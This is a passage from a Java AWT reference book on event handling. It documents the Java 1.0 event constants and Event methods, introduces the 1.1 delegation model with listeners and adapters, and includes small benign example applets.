
The peers deliver scrolling events for the Scrollbar component. The objects that have a built-in scrollbar (like List, ScrollPane, and TextArea) do not generate these events. No default methods are called for any of the scrolling events. They must be dealt with in the handleEvent() method of the Container or a subclass of the Scrollbar. You can determine which particular event occurred by checking the id variable of the event, and find out the new position of the thumb by looking at the arg variable or calling getValue() on the scrollbar. See also the description of the AdjustmentListener interface later in this chapter.

public static final int SCROLL_LINE_UP

The scrollbar peers deliver the SCROLL_LINE_UP event when the user presses the arrow pointing up for the vertical scrollbar or the arrow pointing left for the horizontal scrollbar. This decreases the scrollbar setting by one back toward the minimum value. If you are using the 1.1 event model, the interface method AdjustmentListener.adjustmentValueChanged() handles this event.

public static final int SCROLL_LINE_DOWN

The peers deliver the SCROLL_LINE_DOWN event when the user presses the arrow pointing down for the vertical scrollbar or the arrow pointing right for the horizontal scrollbar. This increases the scrollbar setting by one toward the maximum value. If you are using the 1.1 event model, the interface method AdjustmentListener.adjustmentValueChanged() handles this event.

public static final int SCROLL_PAGE_UP

The peers deliver the SCROLL_PAGE_UP event when the user presses the mouse with the cursor in the area between the slider and the decrease arrow. This decreases the scrollbar setting by the paging increment, which defaults to 10, back toward the minimum value. If you are using the 1.1 event model, the interface method AdjustmentListener.adjustmentValueChanged() handles this event.

public static final int SCROLL_PAGE_DOWN

The peers deliver the SCROLL_PAGE_DOWN event when the user presses the mouse with the cursor in the area between the slider and the increase arrow. This increases the scrollbar setting by the paging increment, which defaults to 10, toward the maximum value. If you are using the 1.1 event model, the interface method AdjustmentListener.adjustmentValueChanged() handles this event.

public static final int SCROLL_ABSOLUTE

The peers deliver the SCROLL_ABSOLUTE event when the user drags the slider part of the scrollbar. There is no set time period or distance between multiple SCROLL_ABSOLUTE events. If you are using the Java version 1.1 event model, the AdjustmentListener.adjustmentValueChanged() interface method handles this event.

public static final int SCROLL_BEGIN (New)

The SCROLL_BEGIN event is not delivered by peers, but you may wish to use it to signify when a user drags the slider at the beginning of a series of SCROLL_ABSOLUTE events. SCROLL_END, described next, would then be used to signify the end of the series.

public static final int SCROLL_END (New)

The SCROLL_END event is not delivered by peers, but you may wish to use it to signify when a user drags the slider at the end of a series of SCROLL_ABSOLUTE events. SCROLL_BEGIN, described previously, would have been used to signify the beginning of the series.

List events

Two events specific to the List class are passed along by the peers. They signify when the user has selected or deselected a specific choice in the List. It is not ordinarily necessary to capture these events, because the peers deliver the ACTION_EVENT when the user double-clicks on a specific item in the List and it is this ACTION_EVENT that triggers something to happen. However, if there is reason to do something when the user has just single-clicked on a choice, these events may be useful. An example of how they would prove useful is if you are displaying a list of filenames with the ability to preview files before loading. Single selection would preview, double-click would load, and deselect would stop previewing.

No default methods are called for any of the list events. They must be dealt with in the handleEvent() method of the Container of the List or a subclass of the List. You can determine which particular event occurred by checking the id variable of the event.

public static final int LIST_SELECT

The peers deliver the LIST_SELECT event when the user selects an item in a List. If you are using the 1.1 event model, the interface method ItemListener.itemStateChanged() handles this event.

public static final int LIST_DESELECT

The peers deliver the LIST_DESELECT event when an item in a List has been deselected. This is generated only if the List permits multiple selections. If you are using the 1.1 event model, the ItemListener.itemStateChanged() interface method handles this event.

Focus events

The peers deliver focus events when a component gains (GOT_FOCUS) or loses (LOST_FOCUS) the input focus. No default methods are called for the focus events. They must be dealt with in the handleEvent() method of the Container of the component or a subclass of the component. You can determine which particular event occurred by checking the id variable of the event.

NOTE:

Early releases of Java (1.0.2 and before) did not propagate focus events on all platforms. This is fixed in release 1.1 of Java. Still, you should avoid capturing focus events if you want to write portable 1.0 code.

public static final int GOT_FOCUS

The peers deliver the GOT_FOCUS event when a component gets the input focus. If you are using the 1.1 event model, the FocusListener.focusGained() interface method handles this event.

public static final int LOST_FOCUS

The peers deliver the LOST_FOCUS event when a component loses the input focus. If you are using the 1.1 event model, the FocusListener.focusLost() interface method handles this event.

FileDialog events

The FileDialog events are another set of nonportable events. Ordinarily, the FileDialog events are completely dealt with by the system, and you never see them. Refer to Chapter 6, Containers for exactly how to work with the FileDialog object. If you decide to create a generic FileDialog object, you can use these events to indicate file loading and saving. These constants would be used in the id variable of the specific event instance:

public static final int LOAD_FILE
public static final int SAVE_FILE

Miscellaneous events

ACTION_EVENT is probably the event you deal with most frequently. It is generated when the user performs the desired action for a specific component type (e.g., when a user selects a button or toggles a checkbox). This constant would be found in the id variable of the specific event instance.

public static final int ACTION_EVENT

The circumstances that lead to the peers delivering the ACTION_EVENT event depend upon the component that is the target of the event and the user's platform. Although the event can be passed along differently on different platforms, users will be accustomed to how the peers work on their specific platforms and will not care that it is different on the other platforms. For example, a Java 1.0 List component on a Microsoft Windows platform allows the user to select an item by pressing the first letter of the choice, whereupon the List tries to find an item that starts with the letter. The X Window System List component does not provide this capability. It works like a normal X List, where the user must scroll to locate the item and then select it.

When the ACTION_EVENT is generated, the arg variable of the specific Event instance is set based upon the component type. In Chapters 5-11, which describe Java's GUI components, the description of each component contains an "Events" subsection that describes the value of the event's arg field. If you are using the 1.1 event model, the ActionListener.actionPerformed() and ItemListener.itemStateChanged() interface methods handle this event, depending upon the component type.

Event Methods

Constructors

Ordinarily, the peers deliver all your events for you. However, if you are creating your own components or want to communicate across threads, it may be necessary to create your own events. You can also create your own events to notify your component's container of application-specific occurrences. For example, if you were implementing your own tab sequencing for text fields, you could create a "next text field" event to tell your container to move to the next text field. Once you create the event, you send it through the system using the Component.postEvent() method.

public Event (Object target, long when, int id, int x, int y, int key, int modifiers, Object arg)

The first version of the constructor is the most complete and is what the other two call. It initializes all the fields of the Event to the parameters passed and sets clickCount to 0. See the descriptions of the instance variables Variables for the meanings of the arguments.

public Event (Object target, long when, int id, int x, int y, int key, int modifiers)

The second constructor version calls the first with arg set to null.

public Event (Object target, int id, Object arg)

The final version calls the first constructor with the when, x, y, key, and modifiers parameters set to 0.

Modifier methods

The modifier methods check to see if the different modifier mask values are set. They report the state of each modifier key at the moment an event occurred. It is possible for multiple masks to be set if multiple modifiers are pressed when the event occurs.

There is no altDown() method; to check whether the Alt key is pressed you must directly compare the event's modifiers against the Event.ALT_MASK constant. The metaDown() method is helpful when dealing with mouse events to see if the user pressed the right mouse button.

public boolean shiftDown ()

The shiftDown() method returns true if the Shift key was pressed and false otherwise. There is no way to differentiate left and right shift keys.

public boolean controlDown ()

The controlDown() method returns true if the Control key was pressed and false otherwise.

public boolean metaDown ()

The metaDown() method returns true if the Meta key was pressed and false otherwise.

Miscellaneous methods

public void translate (int x, int y)

The translate() method translates the x and y coordinates of the Event instance by x and y. The system does this so that the coordinates of the event are relative to the component receiving the event, rather than the container of the component. The system takes care of all this for you when passing the event through the containment hierarchy (not the object hierarchy), so you do not have to bother with translating them yourself. Figure 4.3 shows how this method would change the location of an event from a container down to an internal component.

Figure 4.3: Translating an event's location relative to a component

[Graphic: Figure 4-3]

protected String paramString ()

When you call the toString() method of Event, the paramString() method is called in turn to build the string to display. In the event you subclass Event to add additional information, instead of having to provide a whole new toString() method, you need only add the new information to the string already generated by paramString(). Assuming the new information is foo, this would result in the following method declaration:

protected String paramString() {
    return super.paramString() + ",foo=" + foo;
}

public String toString ()

The toString() method of Event returns a string with numerous components. The only variables that will always be in the output will be the event ID and the x and y coordinates. The others will be present if necessary (i.e., non-null): key (as the integer corresponding to a keyboard event), shift when shiftDown() is true; control, when controlDown() is true; meta, when metaDown() is true; target (if it was a Component); and arg (the value depends on the target and ID). toString() does not display all pieces of the Event information. An event when moving a Scrollbar might result in the following:

java.awt.Event[id=602,x=374,y=110,target=java.awt.Scrollbar[374,
110,15x50,val=1,vis=true,min=0,max=255,vert],arg=1]

Working With Mouse Buttons in Java 1.0

As stated earlier, the modifiers component of Event can be used to differentiate the different mouse buttons. If the user has a multibutton mouse, the modifiers field is set automatically to indicate which button was pressed. If the user does not own a multibutton mouse, he or she can press the mouse button in combination with the Alt or Meta keys to simulate a three-button mouse. Example 4.2 is a sample program called mouseEvent that displays the mouse button selected.

Example 4.2: Differentiating Mouse Buttons in Java 1.0

import java.awt.*;
import java.applet.*;
public class mouseEvent extends Applet {
    String theString = "Press a Mouse Key";
    public synchronized void setString (String s) {
        theString = s;
    }
    public synchronized String getString () {
        return theString;
    }
    public synchronized void paint (Graphics g) {
        g.drawString (theString, 20, 20);
    }
    public boolean mouseDown (Event e, int x, int y) {
        if (e.modifiers == Event.META_MASK) {
            setString ("Right Button Pressed");
        } else if (e.modifiers == Event.ALT_MASK) {
            setString ("Middle Button Pressed");
        } else {
            setString ("Left Button Pressed");
        }
        repaint ();
        return true;
    }
    public boolean mouseUp (Event e, int x, int y) {
        setString ("Press a Mouse Key");
        repaint ();
        return true;
    }
}

Unfortunately, this technique does not always work. With certain components on some platforms, the peer captures the mouse event and does not pass it along; for example, on Windows, the display-edit menu of a TextField appears when you select the right mouse button. Be cautious about relying on multiple mouse buttons; better yet, if you want to ensure absolute portability, stick to a single button.

Comprehensive Event List

Unfortunately, there are many platform-specific differences in the way event handling works. It's not clear whether these differences are bugs or whether vendors think they are somehow improving their product by introducing portability problems. We hope that as Java matures, different platforms will gradually come into synch. Until that happens, you might want your programs to assume the lowest common denominator. If you are willing to take the risk, you can program for a specific browser or platform, but should be aware of the possibility of changes.

Appendix C, Platform-Specific Event Handling, includes a table that shows which components pass along which events by default in the most popular environments. This table was developed using an interactive program called compList, which generates a list of supported events for each component. You can find compList on this book's Web site, http://www.ora.com/catalog/javawt. If you want to check the behavior of some new platform, or a newer version of one of the platforms in Appendix C, Platform-Specific Event Handling, feel free to use compList. It does require a little bit of work on your part. You have to click, toggle, type, and mouse over every object. Hopefully, as Java matures, this program will become unnecessary.

Previous | Home | Next
Java 1.0 Event Model | Book Index | The Java 1.1 Event Model
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.3 The Java 1.1 Event Model

Previous Chapter 4
Events 		Next

4.3 The Java 1.1 Event Model

Now it's time to discuss the new event model that is implemented by the 1.1 release of the JDK. Although this model can seem much more complex (it does have many more pieces), it is really much simpler and more efficient. The new event model does away with the process of searching for components that are interested in an event--deliverEvent(), postEvent(), handleEvent()--and all that. The new model requires objects be registered to receive events. Then, only those objects that are registered are told when the event actually happens.

This new model is called "delegation"; it implements the Observer-Observable design pattern with events. It is important in many respects. In addition to being much more efficient, it allows for a much cleaner separation between GUI components and event handling. It is important that any object, not just a Component, can receive events. Therefore, you can separate your event-handling code from your GUI code. One set of classes can implement the user interface; another set of classes can respond to the events generated by the interface. This means that if you have designed a good interface, you can reuse it in different applications by changing the event processing. The delegation model is essential to JavaBeans, which allows interaction between Java and other platforms, like OpenDoc or ActiveX. To allow such interaction, it was essential to separate the source of an event from the recipient.[1]

[1] For more information about JavaBeans, see http://splash.javasoft.com/beans/.

The delegation model has several other important ramifications. First, event handlers no longer need to worry about whether or not they have completely dealt with an event; they do what they need to, and return. Second, events can be broadcast to multiple recipients; any number of classes can be registered to receive an event. In the old model, broadcasting was possible only in a very limited sense, if at all. An event handler could declare that it hadn't completely processed an event, thus letting its container receive the event when it was done, or an event handler could generate a new event and deliver it to some other component. In any case, developers had to plan how to deliver events to other recipients. In Java 1.1, that's no longer necessary. An event will be delivered to every object that is registered as a listener for that event, regardless of what other objects do with the event. Any listener can mark an event "consumed," so it will be ignored by the peer or (if they care) other listeners.

Finally, the 1.1 event model includes the idea of an event queue. Instead of having to override handleEvent() to see all events, you can peek into the system's event queue by using the EventQueue class. The details of this class are discussed at the end of this chapter.

In Java 1.1, each component is an event source that can generate certain types of events, which are all subclasses of AWTEvent. Objects that are interested in an event are called listeners. Each event type corresponds to a listener interface that specifies the methods that are called when the event occurs. To receive an event, an object must implement the appropriate listener interface and must be registered with the event's source, by a call to an "add listener" method of the component that generates the event. Who calls the "add listener" method can vary; it is probably the best design for the component to register any listeners for the events that it generates, but it is also possible for the event handler to register itself, or for some third object to handle registration (for example, one object could call the constructor for a component, then call the constructor for an event handler, then register the event handler as a listener for the component's events).

This sounds complicated, but it really isn't that bad. It will help to think in concrete terms. A TextField object can generate action events, which in Java 1.1 are of the class ActionEvent. Let's say we have an object of class TextActionHandler that is called myHandler that is interested in receiving action events from a text field named inputBuffer. This means that our object must implement the ActionListener interface, and this in turn, means that it must include an actionPerformed() method, which is called when an action event occurs. Now, we have to register our object's interest in action events generated by inputBuffer; to do so, we need a call to inputBuffer.addActionListener(myHandler). This call would probably be made by the object that is creating the TextField but could also be made by our event handler itself. The code might be as simple as this:

...
public void init(){
    ...
    inputBuffer = new TextField();
    myHandler = new TextActionHandler();
    inputBuffer.addActionListener(myHandler); // register the handler for the
                                              // buffer's events
    add (inputBuffer);  // add the input buffer to the display
    ...
}

Once our object has been registered, myHandler.actionPerformed() will be called whenever a user does anything in the text field that generates an action event, like typing a carriage return. In a way, actionPerformed() is very similar to the action() method of the old event model--except that it is not tied to the Component hierarchy; it is part of an interface that can be implemented by any object that cares about events.

Of course, there are many other kinds of events. Figure 4.4 shows the event hierarchy for Java 1.1. Figure 4.5 shows the different listener interfaces, which are all subinterfaces of EventListener, along with the related adapter classes.

Figure 4.4: AWTEvent class hierarchy

[Graphic: Figure 4-4]

Figure 4.5: AWT EventListener and Adapter class hierarchies

[Graphic: Figure 4-5]

Some of the listener interfaces are constructed to deal with multiple events. For instance, the MouseListener interface declares five methods to handle different kinds of mouse events: mouse down, mouse up, click (both down and up), mouse enter, and mouse exit. Strictly speaking, this means that an object interested in mouse events must implement MouseListener and must therefore implement five methods to deal with all possible mouse actions. This sounds like a waste of the programmer's effort; most of the time, you're only interested in one or two of these events. Why should you have to implement all five methods? Fortunately, you don't. The java.awt.event package also includes a set of adapter classes, which are shorthands that make it easier to write event handlers. The adapter class for any listener interface provides a null implementation of all the methods in that interface. For example, the MouseAdapter class provides stub implementations of the methods mouseEntered(), mouseExited(), mousePressed(), mouseReleased(), and mouseClicked(). If you want to write an event-handling class that deals with mouse clicks only, you can declare that your class extends MouseAdapter. It then inherits all five of these methods, and your only programming task is to override the single method you care about: mouseClicked().

A particularly convenient way to use the adapters is to write an anonymous inner class. For example, the following code deals with the MOUSE_PRESSED event without creating a separate listener class:

addMouseListener (new MouseAdapter()   {
  public void mousePressed (MouseEvent e)  {
    // do what's needed to handle the event
    System.out.println ("Clicked at: " + e.getPoint());
  }
});

This code creates a MouseAdapter, overrides its mousePressed() method, and registers the resulting unnamed object as a listener for mouse events. Its mousePressed() method is called when MOUSE_PRESSED events occur. You can also use the adapter classes to implement something similar to a callback. For example, you could override mousePressed() to call one of your own methods, which would then be called whenever a MOUSE_PRESSED event occurs.

There are adapter classes for most of the listener interfaces; the only exceptions are the listener interfaces that contain only one method (for example, there's no ActionAdapter to go with ActionListener). When the listener interface contains only one method, an adapter class is superfluous. Event handlers may as well implement the listener interface directly, because they will have to override the only method in the interface; creating a dummy class with the interface method stubbed out doesn't accomplish anything. The different adapter classes are discussed with their related EventListener interfaces.

With all these adapter classes, listener interfaces, and event classes, it's easy to get confused. Here's a quick summary of the different pieces involved and the roles they play:

  • Components generate AWTEvents when something happens. Different subclasses of AWTEvent represent different kinds of events. For example, mouse events are represented by the MouseEvent class. Each component can generate certain subclasses of AWTEvent.

  • Event handlers are registered to receive events by calls to an "add listener" method in the component that generates the event. There is a different "add listener" method for every kind of AWTEvent the component can generate; for example, to declare your interest in a mouse event, you call the component's addMouseListener() method.

  • Every event type has a corresponding listener interface that defines the methods that are called when that event occurs. To be able to receive events, an event handler must therefore implement the appropriate listener interface. For example, MouseListener defines the methods that are called when mouse events occur. If you create a class that calls addMouseListener(), that class had better implement the MouseListener interface.

  • Most event types also have an adapter class. For example, MouseEvents have a MouseAdapter class. The adapter class implements the corresponding listener interface but provides a stub implementation of each method (i.e., the method just returns without taking any action). Adapter classes are shorthand for programs that only need a few of the methods in the listener interface. For example, instead of implementing all five methods of the MouseListener interface, a class can extend the MouseAdapter class and override the one or two methods that it is interested in.

Using the 1.1 Event Model

Before jumping in and describing all the different pieces in detail, we will look at a simple applet that uses the Java 1.1 event model. Example 4.3 is equivalent to Example 4.2, except that it uses the new event model; when you press a mouse button, it just tells you what button you pressed. Notice how the new class, mouseEvent11, separates the user interface from the actual work. The class mouseEvent11 implements a very simple user interface. The class UpDownCatcher handles the events, figures out what to do, and calls some methods in mouseEvent11 to communicate the results. I added a simple interface that is called GetSetString to define the communications between the user interface and the event handler; strictly speaking, this isn't necessary, but it's a good programming practice.

Example 4.3: Handling Mouse Events in Java 1.1

// Java 1.1 only
import java.awt.*;
import java.awt.event.*;
import java.applet.*;
interface GetSetString {
    public void setString (String s);
    public String getString ();
}

The UpDownCatcher class is responsible for handling events generated by the user interface. It extends MouseAdapter so that it needs to implement only the MouseListener methods that we care about (such as mousePressed() and mouseReleased()).

class UpDownCatcher extends MouseAdapter {
    GetSetString gss;
    public UpDownCatcher (GetSetString s) {
        gss = s;
    }

The constructor simply saves a reference to the class that is using this handler.

    public void mousePressed (MouseEvent e) {
        int mods = e.getModifiers();
        if ((mods & MouseEvent.BUTTON3_MASK) != 0) {
            gss.setString ("Right Button Pressed");
        } else if ((mods & MouseEvent.BUTTON2_MASK) != 0) {
            gss.setString ("Middle Button Pressed");
        } else {
            gss.setString ("Left Button Pressed");
        }
        e.getComponent().repaint();
    }

The mousePressed method overrides one of the methods of the MouseAdapter class. The method mousePressed() is called whenever a user presses any mouse button. This method figures out which button on a three-button mouse was pressed and calls the setString() method in the user interface to inform the user of the result.

    public void mouseReleased (MouseEvent e) {
        gss.setString ("Press a Mouse Key");
        e.getComponent().repaint();
    }
}

The mouseReleased method overrides another of the methods of the MouseAdapter class. When the user releases the mouse button, it calls setString() to restore the user interface to the original message.

public class mouseEvent11 extends Applet implements GetSetString {
    private String theString = "Press a Mouse Key";
    public synchronized void setString (String s) {
        theString = s;
    }
    public synchronized String getString () {
        return theString;
    }
    public synchronized void paint (Graphics g) {
        g.drawString (theString, 20, 20);
    }
    public void init () {
        addMouseListener (new UpDownCatcher(this));
    }
}

mouseEvent11 is a very simple applet that implements our user interface. All it does is draw the desired string on the screen; the event handler tells it what string to draw. The init() method creates an instance of the event handler, which is UpDownCatcher, and registers it as interested in mouse events.

Because the user interface and the event processing are in separate classes, it would be easy to use this user interface for another purpose. You would have to replace only the UpDownCatcher class with something else--perhaps a more complex class that reported when the mouse entered and exited the area.

AWTEvent and Its Children

Under the 1.1 delegation event model, all system events are instances of AWTEvent or its subclasses. The model provides two sets of event types. The first set are fairly raw events, such as those indicating when a component gets focus, a key is pressed, or the mouse is moved. These events exist in ComponentEvent and its subclasses, along with some new events previously available only by overriding non-event-related methods. In addition, higher-level event types (for example, selecting a button) are encapsulated in other subclasses of AWTEvent that are not children of ComponentEvent.

AWTEvent

Variables

protected int id (New)

The id field of AWTEvent is protected and is accessible through the getID() method. It serves as the identifier of the event type, such as the ACTION_PERFORMED type of ActionEvent or the MOUSE_MOVE type of Event. With the delegation event model, it is usually not necessary to look at the event id unless you are looking in the event queue; just register the appropriate event listener.

Constants

The constants of AWTEvent are used in conjunction with the internal method Component.eventEnabled(). They are used to help the program determine what style of event handling (true/false--containment or listening--delegation) the program uses and which events a component processes. If you want to process 1.1 events without providing a listener, you need to set the mask for the type of event you want to receive. Look in Chapter 5, Components, for more information on the use of these constants:

public final static long ACTION_EVENT_MASK (New)
public final static long ADJUSTMENT_EVENT_MASK (New)
public final static long COMPONENT_EVENT_MASK (New)
public final static long CONTAINER_EVENT_MASK (New)
public final static long FOCUS_EVENT_MASK (New)
public final static long ITEM_EVENT_MASK (New)
public final static long KEY_EVENT_MASK (New)
public final static long MOUSE_EVENT_MASK (New)
public final static long MOUSE_MOTION_EVENT_MASK (New)
public final static long TEXT_EVENT_MASK (New)
public final static long WINDOW_EVENT_MASK (New)

In addition to the mask constants, the constant RESERVED_ID_MAX is the largest event ID reserved for "official" events. You may use ID numbers greater than this value to create your own events, without risk of conflicting with standard events.

public final static long RESERVED_ID_MAX (New)

Constructors

Since AWTEvent is an abstract class, you cannot call the constructors directly. They are automatically called when an instance of a child class is created.

public AWTEvent(Event event) (New)

The first constructor creates an AWTEvent from the parameters of a 1.0 Event. The event.target and event.id are passed along to the second constructor.

public AWTEvent(Object source, int id) (New)

This constructor creates an AWTEvent with the given source; the source is the object generating the event. The id field serves as the identifier of the event type. It is protected and is accessible through the getID() method. With the delegation event model, it is usually not necessary to look at the event id unless you are looking in the event queue or in the processEvent() method of a component; just register the appropriate event listener.

Methods

public int getID() (New)

The getID() method returns the id from the constructor, thus identifying the event type.

protected void consume() (New)

The consume() method is called to tell an event that it has been handled. An event that has been marked "consumed" is still delivered to the source component's peer and to all other registered listeners. However, the peer will ignore the event; other listeners may also choose to ignore it, but that's up to them. It isn't possible for a listener to "unconsume" an event that has already been marked "consumed."

Noncomponent events cannot be consumed. Only keyboard and mouse event types can be flagged as consumed. Marking an event "consumed" is useful if you are capturing keyboard input and need to reject a character; if you call consume(), the key event never makes it to the peer, and the keystroke isn't displayed. In Java 1.0, you would achieve the same effect by writing an event handler (e.g., keyDown()) that returns true.

You can assume that an event won't be delivered to the peer until all listeners have had a chance to consume it. However, you should not make any other assumptions about the order in which listeners are called.

protected boolean isConsumed() (New)

The isConsumed() method returns whether the event has been consumed. If the event has been consumed, either by default or through consume(), this method returns true; otherwise, it returns false.

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is called in turn to build the string to display. Since you are most frequently dealing with children of AWTEvent, the children need only to override paramString() to add their specific information.

public String toString() (New)

The toString() method of AWTEvent returns a string with the name of the event, specific information about the event, and the source. In the method MouseAdapter.mouseReleased(), printing the parameter would result in something like the following:

java.awt.event.MouseEvent[MOUSE_RELEASED,(69,107),mods=0,clickCount=1] on panel1

ComponentEvent

Constants

public final static int COMPONENT_FIRST (New)
public final static int COMPONENT_LAST (New)

The COMPONENT_FIRST and COMPONENT_LAST constants hold the endpoints of the range of identifiers for ComponentEvent types.

public final static int COMPONENT_HIDDEN (New)

The COMPONENT_HIDDEN constant identifies component events that occur because a component was hidden. The interface method ComponentListener.componentHidden() handles this event.

public final static int COMPONENT_MOVED (New)

The COMPONENT_MOVED constant identifies component events that occur because a component has moved. The ComponentListener.componentMoved() interface method handles this event.

public final static int COMPONENT_RESIZED (New)

The COMPONENT_RESIZED constant identifies component events that occur because a component has changed size. The interface method ComponentListener.componentResized() handles this event.

public final static int COMPONENT_SHOWN (New)

The COMPONENT_SHOWN constant identifies component events that occur because a component has been shown (i.e., made visible). The interface method ComponentListener.componentShown() handles this event.

Constructors

public ComponentEvent(Component source, int id) (New)

This constructor creates a ComponentEvent with the given source; the source is the object generating the event. The id field identifies the event type. If system generated, the id will be one of the last four constants above. However, nothing stops you from creating your own id for your event types.

Methods

public Component getComponent() (New)

The getComponent() method returns the source of the event--that is, the component initiating the event.

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is called in turn to build the string to display. At the ComponentEvent level, paramString() adds a string containing the event id (if available) and the bounding rectangle for the source (if appropriate). For example:

java.awt.event.ComponentEvent[COMPONENT_RESIZED (0, 0, 100x100)] on button0

ContainerEvent

The ContainerEvent class includes events that result from specific container operations. Constants

public final static int CONTAINER_FIRST (New)
public final static int CONTAINER_LAST (New)

The CONTAINER_FIRST and CONTAINER_LAST constants hold the endpoints of the range of identifiers for ContainerEvent types.

public final static int COMPONENT_ADDED (New)

The COMPONENT_ADDED constant identifies container events that occur because a component has been added to the container. The interface method ContainerListener.componentAdded() handles this event. Listening for this event is useful if a common listener should be attached to all components added to a container.

public final static int COMPONENT_REMOVED (New)

The COMPONENT_REMOVED constant identifies container events that occur because a component has been removed from the container. The interface method ContainerListener.componentRemoved() handles this event.

Constructors

public ContainerEvent(Container source, int id, Component child) (New)

The constructor creates a ContainerEvent with the given source (the container generating the event), to which the given child has been added or removed. The id field serves as the identifier of the event type. If system generated, the id will be one of the constants described previously. However, nothing stops you from creating your own id for your event types.

Methods

public Container getContainer() (New)

The getContainer() method returns the container that generated the event.

public Component getComponent() (New)

The getComponent() method returns the component that was added to or removed from the container.

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is in turn called to build the string to display. At the ContainerEvent level, paramString() adds a string containing the event id (if available) along with the name of the child.

FocusEvent

The FocusEvent class contains the events that are generated when a component gets or loses focus. These may be either temporary or permanent focus changes. A temporary focus change is the result of something else happening, like a window appearing in front of you. Once the window is removed, focus is restored. A permanent focus change is usually the result of focus traversal, using the keyboard or the mouse: for example, you clicked in a text field to type in it, or used Tab to move to the next component. More programmatically, permanent focus changes are the result of calls to Component.requestFocus(). Constants

public final static int FOCUS_FIRST (New)
public final static int FOCUS_LAST (New)

The FOCUS_FIRST and FOCUS_LAST constants hold the endpoints of the range of identifiers for FocusEvent types.

public final static int FOCUS_GAINED (New)

The FOCUS_GAINED constant identifies focus events that occur because a component gains input focus. The FocusListener.focusGained() interface method handles this event.

public final static int FOCUS_LOST (New)

The FOCUS_LOST constant identifies focus events that occur because a component loses input focus. The FocusListener.focusLost() interface method handles this event.

Constructors

public FocusEvent(Component source, int id, boolean temporary) (New)

This constructor creates a FocusEvent with the given source; the source is the object generating the event. The id field serves as the identifier of the event type. If system generated, the id will be one of the two constants described previously. However, nothing stops you from creating your own id for your event types. The temporary parameter is true if this event represents a temporary focus change.

public FocusEvent(Component source, int id) (New)

This constructor creates a FocusEvent by calling the first constructor with the temporary parameter set to false; that is, it creates an event for a permanent focus change.

Methods

public boolean isTemporary() (New)

The isTemporary() method returns true if the focus event describes a temporary focus change, false if the event describes a permanent focus change. Once set by the constructor, the setting is permanent.

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is in turn called to build the string to display. At the FocusEvent level, paramString() adds a string showing the event id (if available) and whether or not it is temporary.

WindowEvent

The WindowEvent class encapsulates the window-oriented events. Constants

public final static int WINDOW_FIRST (New)
public final static int WINDOW_LAST (New)

The WINDOW_FIRST and WINDOW_LAST constants hold the endpoints of the range of identifiers for WindowEvent types.

public final static int WINDOW_ICONIFIED (New)

The WINDOW_ICONIFIED constant identifies window events that occur because the user iconifies a window. The WindowListener.windowIconified() interface method handles this event.

public final static int WINDOW_DEICONIFIED (New)

The WINDOW_DEICONIFIED constant identifies window events that occur because the user de-iconifies a window. The interface method WindowListener.windowDeiconified() handles this event.

public final static int WINDOW_OPENED (New)

The WINDOW_OPENED constant identifies window events that occur the first time a Frame or Dialog is made visible with show(). The interface method WindowListener.windowOpened() handles this event.

public final static int WINDOW_CLOSING (New)

The WINDOW_CLOSING constant identifies window events that occur because the user wants to close a window. This is similar to the familiar event Event.WINDOW_DESTROY dealt with under 1.0 with frames. The WindowListener.windowClosing() interface method handles this event.

public final static int WINDOW_CLOSED (New)

The WINDOW_CLOSED constant identifies window events that occur because a Frame or Dialog has finally closed, after hide() or destroy(). This comes after WINDOW_CLOSING, which happens when the user wants the window to close. The WindowListener.windowClosed() interface method handles this event.

NOTE:

If there is a call to System.exit() in the windowClosing() listener, the window will not be around to call windowClosed(), nor will other listeners know.

public final static int WINDOW_ACTIVATED (New)

The WINDOW_ACTIVATED constant identifies window events that occur because the user brings the window to the front, either after showing the window, de-iconifying, or removing whatever was in front. The interface method WindowListener.windowActivated() handles this event.

public final static int WINDOW_DEACTIVATED (New)

The WINDOW_DEACTIVATED constant identifies window events that occur because the user makes another window the active window. The interface method WindowListener.windowDeactivated() handles this event.

Constructors

public WindowEvent(Window source, int id) (New)

This constructor creates a WindowEvent with the given source; the source is the object generating the event. The id field serves as the identifier of the event type. If system generated, the id will be one of the seven constants described previously. However, nothing stops you from creating your own id for your event types.

Methods

public Window getWindow() (New)

The getWindow() method returns the Window that generated the event.

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is in turn called to build the string to display. At the WindowEvent level, paramString() adds a string containing the event id (if available). In a call to windowClosing(), printing the parameter would yield:

java.awt.event.WindowEvent[WINDOW_CLOSING] on frame0

PaintEvent

The PaintEvent class encapsulates the paint-oriented events. There is no corresponding PaintListener class, so you cannot listen for these events. To process them, override the paint() and update() routines of Component. The PaintEvent class exists to ensure that events are serialized properly through the event queue. Constants

public final static int PAINT_FIRST (New)
public final static int PAINT_LAST (New)

The PAINT_FIRST and PAINT_LAST constants hold the endpoints of the range of identifiers for PaintEvent types.

public final static int PAINT (New)

The PAINT constant identifies paint events that occur because a component needs to be repainted. Override the Component.paint() method to handle this event.

public final static int UPDATE (New)

The UPDATE constant identifies paint events that occur because a component needs to be updated before painting. This usually refreshes the display. Override the Component.update() method to handle this event.

Constructors

public PaintEvent(Component source, int id, Rectangle updateRect) (New)

This constructor creates a PaintEvent with the given source. The source is the object whose display needs to be updated. The id field identifies the event type. If system generated, the id will be one of the two constants described previously. However, nothing stops you from creating your own id for your event types. updateRect represents the rectangular area of source that needs to be updated.

Methods

public Rectangle getUpdateRect()

The getUpdateRect() method returns the rectangular area within the PaintEvent's source component that needs repainting. This area is set by either the constructor or the setUpdateRect() method.

public void setUpdateRect(Rectangle updateRect)

The setUpdateRect() method changes the area of the PaintEvent's source component that needs repainting.

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is called in turn to build the string to display. At the PaintEvent level, paramString() adds a string containing the event id (if available) along with the area requiring repainting (a clipping rectangle). If you peek in the event queue, one possible result may yield:

java.awt.event.PaintEvent[PAINT,updateRect=java.awt.Rectangle[x=0,y=0,
width=192,height=173]] on frame0

InputEvent

The InputEvent class provides the basis for the key and mouse input and movement routines. KeyEvent and MouseEvent provide the specifics of each. Constants

The constants of InputEvent help identify which modifiers are present when an input event occurs, as shown in Example 4.3. To examine the event modifiers and test for the presence of these masks, call getModifiers() to get the current set of modifiers.

public final static int ALT_MASK (New)
public final static int CTRL_MASK (New)
public final static int META_MASK (New)
public final static int SHIFT_MASK (New)

